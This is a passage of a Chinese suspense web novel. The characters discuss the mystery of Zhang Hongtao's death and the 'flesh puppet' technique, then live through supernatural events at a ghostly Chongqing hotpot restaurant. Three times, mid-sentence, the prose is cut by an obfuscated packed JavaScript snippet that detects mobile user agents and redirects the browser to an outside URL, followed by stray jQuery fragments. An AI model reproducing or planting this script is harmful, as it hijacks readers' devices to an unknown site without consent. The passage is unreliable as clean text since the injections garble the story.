话说李学昌跳进天湖后,王家人就一副要毁尸灭迹的样子,要不是他巧舌如簧,加上李萍是本地人,能帮忙解释,轻则一顿毒打,重则给他推天湖里也不无可能…… “那你们知道李春梅那边是什么情况吗?”余一舟说完追问。 李萍先解释了一句:“昨天拉她去找你汇合,她非要再看一眼儿子,我想这是人之常情,就回去找船棺……” 没想到意外看到屠南躺在里面,她把屠南抬出来,藏进了李学昌卧室的床底,准备再去找张洪涛时,听到有人来了,她不得已躲进船棺,本想等人离开再出来,没想到来的正是王家人,他们居然抬着船棺就走了。再之后李萍也不知道发生了什么,她想等在后院的李春梅看她没出来应该会自己跑吧,没想到她居然自己去了溶洞。 至于那之后,李春梅是怎么脱离肉傀儡术的操控,她也搞不懂。 周筱安打量余一舟,好像在看什么大冤种:“真没想到她居然知道那三个词的秘密,那为什么一直瞒着我们,我们跟她的目标是一致的!还把你和屠屠都骗来……她骗屠屠来我还能理解,骗你嘛,难道你跟这件事也有什么渊源?” “三个词的秘密应该是张洪涛笔记本被撕掉的三页纸上记录的,至于余一舟,会不会和你师父有关?”屠南也看向余一舟。 沈垚留下的信件中涉及到石船村尸体买卖的一些证据,而余一舟说过,他师父当年和湖城商报有过接触,也是与尸体交易案有关。 “不会,我师父从没坑过我……”余一舟否认地很果决。 这师生情还是留着他自己拷问吧,周筱安换了个话题:“你们见到张建平了吗?” 隋影兴奋地回头,又为自己过于八卦的表现辩解:“我就想知道渣男长什么样?” 这个余一舟有发言权,这里面只有他一个人见过张建平。 “那个来接秦潇潇和西西的男人就是。” 隋影撇嘴:“就他啊,我还以为是秦潇潇她爸呢,真是世态炎凉啊。” 周筱安一脸嫌弃地纠正她的成语用法:“那叫世风日下……” 隋影不理他继续问:“秦潇潇为什么要带女儿去石船村啊?” 余一舟想了想:“听人说,是为了找大师给孩子驱邪,被骗来的。” 隋影似乎还没从二仙庙的阴影中完全走出,脸上露出一副吃瓜吃到了馊瓜的表情:“驱邪!这么恐怖……” 余一舟叹了口气:“这就要从张洪涛手心上的太阴符号说起了……” 那个符号就是西西用笔画上去的。 事情的起因是张洪涛无意间撞破了父亲张建平的婚外情,又发现了他还有个私生女,在与父亲争吵的过程中,这个女孩走丢了,三人分头去找,最后是张洪涛找到了西西。西西说要送他一样东西,就用马克笔在他手心画了个太阴。 “那小孩怎么知道这个符号!”周筱安惊讶。 “因为肉傀儡?”屠南问道。 余一舟点头:“真不知道这个所谓的肉傀儡术是怎么控制人的……” 为了害张洪涛,幕后之人用肉傀儡术控制了西西,但秦潇潇并不知道。以至于后来小孩发烧、说胡话、还有一些离奇古怪的举动,她都以为是被张洪涛的魂儿缠上了。 所以对于张洪涛跳楼,余一舟十分怀疑是由于被画上这个符号,分不清梦境和现实,才…… 庄周梦蝶,蝶梦庄周,其实都是傀儡人生,如梦一场。 周筱安沉声问:“那李春梅一开始就知道是那个小孩?” 余一舟:“昨天我问了她,她说知道张洪涛手心的符号是小女孩画的,不过她也知道小女孩并不是真凶。” 最后那段时间,张洪涛感知到危险,就寄了个匿名包裹给她,包裹里就是那本笔记。她是在张洪涛离世后才收到,也正是看了笔记,她知道了真正加害张洪涛的是什么人。 隋影:“话说回来,这个张洪涛为什么跟沈垚有这么深厚的师生情?” 余一舟:“他是因为岩洞中的壁画在一个学术会议上认识了沈垚,除了伯乐和千里马,二人更像是忘年交,后来他还考了沈垚学院的研究生。他可能认为如果不是为了研究他提出的这些,沈垚不会在石船村殒命……” 屠南:“其实,沈垚研究这些,不只是为了他。” 余一舟:“跟陈奶奶胳膊上的太阴符号有关?” 屠南点头。 夏节庆典、天湖、太阴之水,沈垚一共留下三个词。 夏节庆典,张洪涛从李萍那里收集了一些信息。 关于天湖的形成,他也花了不少心思。从他留下得文字来看,经过实地调查和向学地质的同学求证,他推测出天湖极有可能是一个溢水天窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821840|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。平时它只是一个极不起眼的小水坑,但因为地下水运动的某种规律,会在某一时刻,受地下河水向上顶托的作用,形成一个大湖。 有溢水天窗,有明河、暗河,那么接下来就是要解决太阴之水的问题。 李萍:“洪涛哥怀疑太阴之水与阴河有关。” 屠南:“沈垚不会游泳,所以……” 余一舟:“所以这个地方如果有线索,在沈垚藏线索时应该是没水的!” 李萍:“他用水下摄像机专门拍摄过那个阴河下面的空间,发现里面有个硝坑,其中一个坑还被石头盖住了。” 张洪涛将自己的猜测记录了下来,并准备在夏节庆典进行验证。 如此说来,李春梅也算是帮儿子完成了最后心愿。 余一舟记起第一次和李春梅见面,在饭桌上张建平让她向前看,被她呵斥:“这次,她应该可以向前看了。” 隋影把薯片咬的咔滋响:“差不多吧。” 周筱安:“什么就差不多吧……” 隋影绕过周筱安,给每人都分了些薯片。 “昨天她找我帮忙找张洪涛尸体的时候,看起来完全像个正常人啊。” 看着大家疑惑的表情,她又补充道:“这不是张洪涛的尸体跟着船棺被水冲走了嘛,我师兄金不换有个好友是一家洞潜俱乐部的老板,我已经跟他说好帮忙找张洪涛了,费用李春梅出。” 周筱安专业拆台二十六年:那是你帮的吗,明明是人家金不换帮的…… 不等隋影反击,他继续说:“行了,朋友们,往日不可追,来日尤可期。大家还是想想晚上吃什么吧。” 屠南罕见提议:“不知道张洪涛笔记里提到的那家火锅店还在不在?” 张洪涛笔记上是记录过这么个地方,是他们寝室一起去贺非家玩的那次,刚落地重庆时去的,叫五妹火锅。 余一舟打开地图app:“都过去这么多年了,这地方还能开着吗?” 快十年了,能坚持下去的店,距离百年老字号也只剩下九十年了。 “居然还开着,就是评分太低了,还没参与团购,评价都说菜量小,不划算……” 周筱安咳咳两声:“钱眼子,吃顿火锅就别算计了,要是不好吃就再换一家嘛……” 隋影看了看刻意讨好的周筱安,又看了看无动于衷的屠南,鼻孔嗤气:“舔狗。” 周筱安小声反击:“你懂个屁,我这叫慕强。有本事你也强一个,让我慕一下。” 隋影做了个鬼脸:“我强也不让你慕,敢慕我就揍你。” ****** 恢复通车是在半小时之后,大家把李萍送到了村口就要返程了。 隋影不知道从哪扯了一张纸,像拍美剧似的,十分有派头地写了自己的电话号码塞进李萍手里。她听说了李萍她二爸还在外欠了不少赌债。 “拿着吧,如果有讨债的人来闹事,就找我……” 周筱安一把推开这个“挑事精”:“找你干什么,和那些人对闹?” “如果真遇到这种情况,一定要找警察。你二爸不在了,他的债务是否需要你们偿还还另说,我可以帮你找律师咨询,也可以借你钱。不过只是借,到时候需要你来湖城,给我家赚钱还债。” 李萍用手扣着T恤底边的线头:“我不会看病。” 她听说过,周筱安家是经营药堂的。 “谁让你看病了,去我家新开的养生酒店打工,这你总擅长吧。” 李萍点了点头。 余一舟接过话:“对,别跟他客气,这些天欺骗我们这么久,我们到现在都不知道这小子是来干嘛的呢……对了,他还欠你一顿饭,到时候利滚利也得值不少钱……” 听到前半句,周筱安似乎有点紧张,看余一舟回归属性,他又松弛了下来,继续和他斗嘴:“行了,你是离不开钱了……” 大家都说过了,就剩屠南,李萍转向她,想说什么,又没说,双方都沉默了一会,她才开口。 “屠南……对不起,之前还把你扔在村口……” 屠南笑着拍了拍她的肩膀:“没事,我的手机不是摆设……如果遇到什么情况,随时联系。” 26. 水土金木火 四人在导航带领下在山城这座8D城市居然没绕路,顺利找到了五妹火锅。 圆满地让人想唱首难忘今宵。 店里很冷清,一桌客人都没有。余一舟走在最前面进了店,出于在石船村经历重重怪事后积累的经验,他选了一张能看到四周,前不着村后不着店的桌子,拉开一条横条板凳,坐了下去。 周筱安和随影各自选了不挨着的两个位置,面对面对着桌上的油垢露出无能为力的表情。 余一舟早就想到,评分那么低,环境还能好到哪去?看到他俩的反应有些得意,这就是不听好人言,吃亏在眼前。 屠南一进店门就被正对面的照片墙吸引,叫她过来点菜,她也只是说了句自己什么都吃,大家看着点就行。 周筱安看了眼菜单,抬头问服务员有没有什么推荐。 面部表情有些呆滞的年轻男服务员耷拉着眼皮,无精打采:“先选锅底,红锅还是鸳鸯锅。” 隋影也没征求大家的意见,直接就提出吃红锅:“都到山城了,还吃什么鸳鸯锅……” 大家也觉得说的有些道理,没有反驳。 点了一堆菜,接下来就是漫长的等待。 给他们点菜的服务员窜进后厨,备菜的地方闪过几个人影,就再也看不到人了。余一舟口渴,喊了半天老板,一位看起来差不多四五十岁、脸色苍白的女老板拿着一个装满黄色茶汤的大玻璃壶,一声不吭地放在他们桌上,转身离开了。 余一舟撕开一次性餐具,给每人倒了一杯,有种清新的粮食味,同时又有点馊味。 周筱安说,这是放坏了的苦荞茶。 就这神龙见首不见尾的服务,余一舟懒得深究,见屠南也坐下,他放下茶杯:“这会说话方便了,说说吧,你为什么来石船村?” 周筱安知道这一问是躲不掉的,整个人还端起了架子:“你们也知道,我家药堂叫‘王安济堂’,姓王。而我和我妈都姓周,我爸也不姓王……” 屠南隐约记得他说过,王安济堂上一任掌柜是他姨婆。 “你姨婆的丈夫姓王?” 周筱安拿腔拿调:“非也,我姨婆一辈子没结婚。据说有个王姓家族,在她的学医之路上为她提供过重要帮助,她才以王来命名自己创建的药堂。不过这些我都是从我爸留下的一些线索中了解到的……” 在那些零散、琐碎的文字、照片、语音、视频记录中,周筱安大概拼凑出,他爸在出车祸之前一直在暗中调查这个王家。 “两个对我来说很重要的人都因为过于巧合的意外变成了散发着臭鱼味的植物人,我不相信这是意外。” 这极有可能是王家的阴谋,他们的目的尚不能确定,但他必须做些什么来保护他那温柔善良、对一切还没有知晓和防备的母亲。 余一舟一思考就喜欢摸下巴,听到这他快把自己的下巴捏碎了:“你说的那个王家不会就是石船村的这个王家?” 周筱安点头,虽说王姓是占中国总人口最多的几个大姓之一,全国姓王的多了去了,但如果真没有什么关系,他也不会出现在这。 说到王家,周筱安试探地看向屠南:“屠屠,其实我一直想问,你的身手是跟谁学的?” 听到他问这个,隋影可就不困了,原本趴在桌子上,歪着头看热闹,这会也爬了起来。 屠南还是那句老话:“我不记得了……” 她确实记不得了,她也很惊讶自己总能在关键时刻做出一些动作,那些看似浑然天成的应变,其实都是肌肉记忆。不过看大家难以信服,复又多说了一句:“就是些野狐禅,可能是小的时候瞎学的把式。” 余一舟纵是不太相信,看那个惫懒的服务员小哥端来了红糖糍粑、炸酥肉一类的熟食,也没心思想了。 “那你一定是个骨骼清奇的练武奇才!咱们先吃点东西吧。” 隋影这些天没少吃零食,肚子没那么饿,所以没这么好应付。 “不可能,你那架势绝不可能无师自通!” 周筱安坐在她对面,没法直接拍她看起来有些缺失的大脑,只能眼神警告之,别太冒犯。 隋影自然是不能把他当盘菜,毫无顾忌地指出:“你那个起势,就很像形意。” 形意就是指形意拳,是隋影熟悉又陌生的家学。 但屠南似乎完全没听说过,摇了摇头:“不清楚,我对武术没什么研究。” 趁隋影继续较真前,周筱安给她派了个任务,出去买四碗冰粉回来。 起先,她是不情愿的,但听周筱安说派她去是因为这里面她腿上的功夫最好,只有她去,才能在最快的时间内把冰粉带回来,不至于让冰粉在蒸笼一般的室外变成热粉…… 隋影终于哼着歌出去了,周筱安松了口气。 “她这人吧,有点孩子气,但绝对没恶意,你们别介意。实话说吧,我们那天用到的地图就是她画的。” 屠南不太明朗的脸上露出些笑意。 余一舟从口袋里掏出来:“那张图啊,我还保留着,不知道原图长什么样?” 周筱安发了一张有些模糊的照片在三个人的微信群里。 三人嚼着糍粑仔细比对,竟发现有个地方画错了,漏画了一段! 余一舟一脸不可置信:“所以,我们对着一个错误的地图活着出来了?” 周筱安想想都后怕:“这隋影,照着参考答案都能抄错!” “你们觉不觉得这一路,咱们有点过于顺利……”余一舟说完觉得嗓子有点紧,好像有什么东西在无形中掐着他的脖子。 屠南心事重重地看了眼后厨,突然对两人小声说:“刚才在那边的照片墙上,我看到了张洪涛和室友的合照,照片角上有五个字,金木水火土。” 余一舟嘀咕:“金木水火土……” 这一路,他们跳火坑,跳进水里。还有掉泥潭,进山洞,他送船棺,屠南和周筱安斗木架子蛇。 进入水潭是水,泥潭是土,石头属金,船棺和木蛇都属木。 屠南:“金木水火土,还差一个火。” 屠南的话好像一道晴天霹雳,如果真的还差火,这无异于唐僧师徒取了无字经,余一舟强迫自己保持冷静:“有火,戏台的火门,还有你们碰上的火蛇,这都是火。” 他刚说完,一口铜锅从他头顶掠过,是服务员小哥端来了锅底。鸳鸯锅上桌点火,外面是一圈红汤,中间小锅里是飘着蘑菇、葱段的菌汤。 周筱安皱眉:“我们刚才要的是红锅,怎么上了鸳鸯锅?” 小哥懒洋洋地回答:“有个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821841|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美女说不吃辣,让改成鸳鸯锅嘞……” 屠南一直都坐在他们面前,没离开过,自然不是她。 周筱安咕哝:“估计是隋影人菜瘾大,吃不了辣,后悔点了红锅,让他们改的。” 余一舟是亲眼看到隋影出门的,没看到她去后厨。不过那女孩神出鬼没的,没搞清楚情况前,没必要自己吓唬自己。 “鸳鸯锅更好,刚才差点忘了我脖子上的伤还没好……” 屠南把筷子伸进锅里,搅了搅,表情有些凝重:“你们觉不觉得这个鸳鸯锅的样子有点熟悉。” 余一舟灵光乍现:“像太阴!” 看两位大侦探又开始胡思乱想,周筱安干咳两声,指了指刚上的几样菜:“要不我们先吃牛肉,牛肉下哪个锅好呢?” 屠南定了定神:“红锅吧。” 冻牛肉卷入锅没多久就熟了,大家都没什么胃口,没人动筷。余一舟拿起漏勺,先捞了一勺,给隋影和屠南,又捞了一勺,给周筱安。 再下一勺给自己时,捞出个异物,是块怀表。表身表链都是金色的,表盘蒙了层红油看不大清,隐约能看到几个罗马数字。 周筱安刚裹满香油送进嘴里的牛肉登时被他吐了出来:“这……什么东西?怎么会在锅里!” “老板!老板!”他叫了两声,没喊来上菜的服务生或老板,天花板上的灯开始闪烁,老旧的立式空调也停止了工作,密闭的空间在火锅的加热下不断升温。 三人起身,看向与店内仅以一片透明玻璃窗相隔的后厨,空无一人。 屠南眨了眨眼:“火来了,是火锅!” 不知从哪里流出来的杂糅百家味道的暗红色恶臭老地沟油从四面八方流往他们脚下,原本就十分油腻的地板变得更加寸步难行…… 周筱安着急向门外跑,没掌握好分寸,一用力反而失去了平衡,手下意识地抓了余一舟一把,两人在惯性作用下,滑向相反的方向。 屠南倒是沉得住气,一边小步小步地挪一边喊:“先出去!” 火锅店有两个门,屠南目标正门,余一舟和周筱安就近走侧门。 侧门开起来不太顺畅,也勉强能挤出去。正门好像被锁住了,玻璃门怎么都推不开。 “屠南,来这边!” 余一舟喊声未落,突然,迎面掉下来一滩红色秽物在他脚下,是他们一直没等到的鸭肠、鸭血、脑花、腰花,还有些认不出的内脏碎屑。 那些东西,就像余一舟被尸蠋咬下来的肉,还会动,小拇指长度的鸭肠蠕动着要从门缝出去,还有变成无数条打结肉虫的鲜活脑花和融化的鸭血…… 吃进半块牛肉的周筱安已经按捺不住去树下呕吐了,余一舟忍着恶心关上门,混杂着脂肪的似乎是用于做丸子的肉泥瞬间涂满了两片玻璃,并顺着门缝流向他的脚底。 看这个情况,侧门是出不去了,屠南顺手抄起门边的啤酒箱,准备破门。 力气用到一半,她陡然停下,看着玻璃上的倒影。她身后不知什么时候多了两个人,刚才给他们上茶水的老板,还有上菜的服务生,两人距离她不到两米。 见她回身,两人张开大嘴,两团不可思议的漆黑圆洞中传来不断重复的骇人魔音。 “你是假的,你是假的……” 27.重叠 屠南蹭掉鼻尖的汗,盯着二人的嘴,模仿他们断断续续的语调:“我-是-真-的,是-真-的!” 除了她,一切都有可能是假的。 但她一定是真的。 坚定了这一点,她义无反顾地推门,还好门开了,不然她大概会用啤酒瓶把那两个发出讨厌声音的窟窿堵上。 余一舟和周筱安正好从侧门那边跑过来,三人一起离开了火锅店,过了马路,上了一条长梯。 没人知道自己为什么会选这条路,那是条看不到尽头的长梯,两边是冲天而上的钢铁森林。千家万户竟然没有一盏灯火,压抑感扑面而来。 余一舟的手电光太弱,一不留神就嗑在了石梯上,即便吃痛他也不敢放慢速度。 “走这边!”他振臂一呼。 他左手边是一栋高楼的腰部,右手边就是一条有微弱灯火的小巷,穿过小巷就是马路。 这种忽上忽下大概就是山城最有魅力、也是最吸引外来游客的一点。 周筱安答应了一声,跟了上去。屠南被甩在了最后,回头看了眼身后的光景,就和两人走散了。 潮热的空气里吹来了一阵不属于这个季节的冷风,她侧头,手电光划过的地方,一个几乎与暗夜融为一体的墨色身影与她擦肩而过。 影子在马路的背景下变得清晰,大檐帽、黑色制服,还有绑腿,似乎是旧时警察的装扮。 屠南不知该如何称呼对方,情急之下跟着影子下了几级台阶。突然,一根红色布条落在她脚下,是从影子身上掉下来的。 “哎……你的东西掉了。” 影子好像真的听到了她的声音,回过头,脸上是一片车水马龙,看不清五官。 她朝影子挥动手里的红布条,停在原地的影子像是一股冷气,在她面前变淡、蒸发了…… “吧嗒”,是电器启动的声音。 屠南机警地回过头,原本黑洞洞的台阶尽头有了光亮。 由于视角受限,她看不到亮灯的是个什么场所,想到刚才那个奇怪的影子可能是从那过来的,她鬼迷心窍地爬上小平台,没拐弯,继续向光明处走去。 说来奇怪,明明看起来只有几十级台阶的距离,她走了很久,而且越来越快,后面索性跑了起来。 “要死……” 她累得产生了骂人的冲动,但苦于没有多余的力气。她脚下生风,似乎只要停下来,身后的石阶就会轰然坍塌,她也会坠入无底深渊。 这样高强度地爬了几分钟,终于看到了尽头。那是一个复古的彩绘招牌,周围亮着一圈红黄蓝色的霓虹灯,招牌上写着“流光照相楼”几个字,字旁还画了一位旗袍女郎,和一台照相机。 照相楼近在眼前,屠南激动地跨上最后一级台阶,整个人却被一层看不见的膜顶了回去。 在她真实地倒地前,脑中突然闪过一个念头:那层膜的触感和她手指不小心戳到眼球上的触感很像。 ****** 穿过小巷,又下了一截石梯,是一条空荡荡的小马路。 那是一个陡得要命的大斜坡,一辆车都没有,甚至不是柏油路,只有两盏昏暗的路灯懒散地站在路边。 周筱安往后瞧,发现屠南没跟上来。 “糟了,屠屠走丢了。” 听他说屠南丢了,余一舟也回头看了一眼。在他看来,以屠南的身手,没什么危险的,他们更应该担心的是自己。 “你觉不觉得这地方有点怪,两边虽然是高楼,但这马路怎么这么……” 他想了一会才找到一个贴切的词来形容。 “复古。” 周筱安刚才在想屠南丢了的事,没仔细看,现在好好看了几眼,后背发凉:“估计是在修路?” 修路的话两边总该是有工程围挡,但这里什么都没有。 手机没信号,地图加载不出来,余一舟不敢贸然朝哪个方向走,他蹲下抓了把路边的土,在手里搓了搓。 可惜他没有港剧里通过土壤成分就能分辨位置的能力,这么搓只能把手弄脏。当然,离地面近还有个优势,就是能听到一些站着难以察觉到的声音。 “有人来了!”他站起身。 周筱安点开手机电筒,对着远处,口中感叹着钱眼子的耳朵比狗灵。 有人气就没那么可怕了。 迎面来的是个年轻男人,穿了身卡其色格纹的毛呢西装,头上戴了顶和西装颜色十分搭配的鸭舌帽,脚下蹬着一辆很有年代感的黑色自行车。 周筱安亮着电筒朝对方挥手,余一舟突然觉得不对。 这个季节,穿这么厚,捂出痱子事小,得热射病一命呜呼也不是没先例。 他想按下周筱安挥动的手,然而为时已晚,自行车眼看着经过他们面前,而骑车的好像是个女生男相的女人,剑眉星目,有种让人过目难忘的飒爽。 “你好,麻烦问一下这……” 周筱安想问对方前面是不是在修路,刚向前走了一步,女人竟从怀中掏出一把左轮手枪,对准了他。 “小心!” 余一舟眼疾手快,在枪响前扑倒了周筱安。 再抬起头,一辆白色轿车的前灯正照着他俩,司机疯狂打着喇叭,还把头探出窗外,骂骂咧咧喊着他们听不太懂,但大概理解是在骂人的话。 周筱安从车身前面爬起来,冲到司机面前。他人虽面,但由于个头高,跑起来颇有气势,吓得对方大哥立刻撤回一个人头,掏出手机,对着他开始拍摄。 “大哥,你刚才有没有看到一个穿西装的人,骑着一辆自行车,从我们面前经过?” 司机大哥见他不是要碰瓷,还问这种奇怪的问题,警惕地收起手机:“没有。” 接着挥了挥手,让他俩闪开,开车离开了。 余一舟看着手上残存的土尘:“所以,我们刚才是穿越了?” 周筱安觉得那更像是两个时空在他们眼前重叠。 如果不是,那就是他俩同时发癔症了。 “火锅就是火,现在金木水火土凑齐了。” 走丢的屠南突然出现在他俩身后,额角上还多了一个HelloKitty的创口贴。 那是她在幺妹手搓冰粉店门口醒来时,过路的热心女孩给她的。还有她手上提的红糖凉虾,是冰粉店的大姐大哥以为她中暑了,硬塞给她的。 余一舟:“凑齐会怎么样?” 屠南摇头,看来只能回火锅店去问个清楚。 周筱安点点头,突然大惊失色:“糟了!忘告诉隋影了……” ****** ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822965|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三人回到五妹火锅,隋影正提着几盒冰粉站在门口东张西望。 看到他们,又激动又委屈:“你们去哪了!三个人的手机没一个能打通,逗我玩呢?” 屠南看着火锅店黯淡的招牌,目光一凝:“这店关门了?” 隋影喋喋不休:“你问我!我给你们买完冰粉回来,这就关着门,要不是车就停在路边,我还以为走错了……我沿着这条路转了好几圈,大名鼎鼎的火锅之城,这条街就这一家火锅店,还是个招租的旺铺!” 一切回归如初,这里好像什么都没发生。周筱安看着门上多出来的招租启示,沉声道:“这家店还真是闹鬼了。” “什么闹鬼,你别吓我……”隋影抓着他的胳膊退了几步,觉得没什么用,又转而去抱屠南的胳膊,还是这条胳膊比较好,结实有力,一摸就知道有力气捶妖魔鬼怪。 余一舟凑到门缝上去闻,火锅味还没散去:“一定有猫腻……你们觉不觉得那个老板娘有点眼熟?” 周筱安:“是有点,不过最近接触的人太多,一时半会儿想不起来。” 屠南:“别看我,我脑子不好,记不住这些,你们是知道的。” 隋影:“要不咱们先把冰粉分了?我一直拿着怪麻烦的。” 周筱安对这乱入有些无语:“都什么时候了,还想着吃?” 屠南伸出手:“我这还有份凉虾,大家谁一份不够吃,我可以匀你们一些。” 周筱安:“……” 屠南拍了拍他紧张的肩膀:“放松点,先吃点东西吧。” 余一舟也接了一碗过去,折腾了一晚上,他连口不干不净的肥牛都没吃进肚子里。 吃了两口小料丰富的冰粉,余一舟茅塞顿开:“有了!” 他们不大可能去调看附近的监控,还不能去问问周围的人吗?这条街虽然萧索,但是还是有些开门营业的店铺。 “我们可以去旁边的商店打听一下这家店的情况。” 大家都同意,问题来了,谁去比较合适? 屠南想了想:“我不太擅长聊天,要不还是余一舟去吧,你调查经验丰富,我们在外面配合你。” 她说完看向周筱安和隋影,两人也表示同意。 余一舟虽然心里对这个邪门的地方有点抵触,但看到大家如此肯定自己的调查能力,暗暗给自己打气。 还能怎样,硬着头皮上吧。 小商店叫便民商店,和五妹火锅同属于一片底商,空间不大,没什么生意,一时看不出为民提供了什么便利。余一舟进门时,光着膀子的老板正在刷短视频,声音放的很大,余一舟要了包烟,拆开包装递了一支给老板,说自己是外地人,想租旁边那个火锅店,跟老板打听一下附近的客流怎么样。 老板无聊,乐得跟人摆一会龙门阵。 屠南、隋影和周筱安在外面等了十来分钟,余一舟终于聊完出来。 看他跟老板告别时,眉目间还有点笑意,一到三人面前人就蔫了。 余一舟:“火锅店的老板姓罗。” 周筱安终于想起来她像谁了,只有他在李学昌家看过墙上的相框:“她像李学昌的前妻,罗洁!” 余一舟有些无力地点头:“她就是罗洁的姐姐,叫罗敏。门上那个招租电话就是她的……”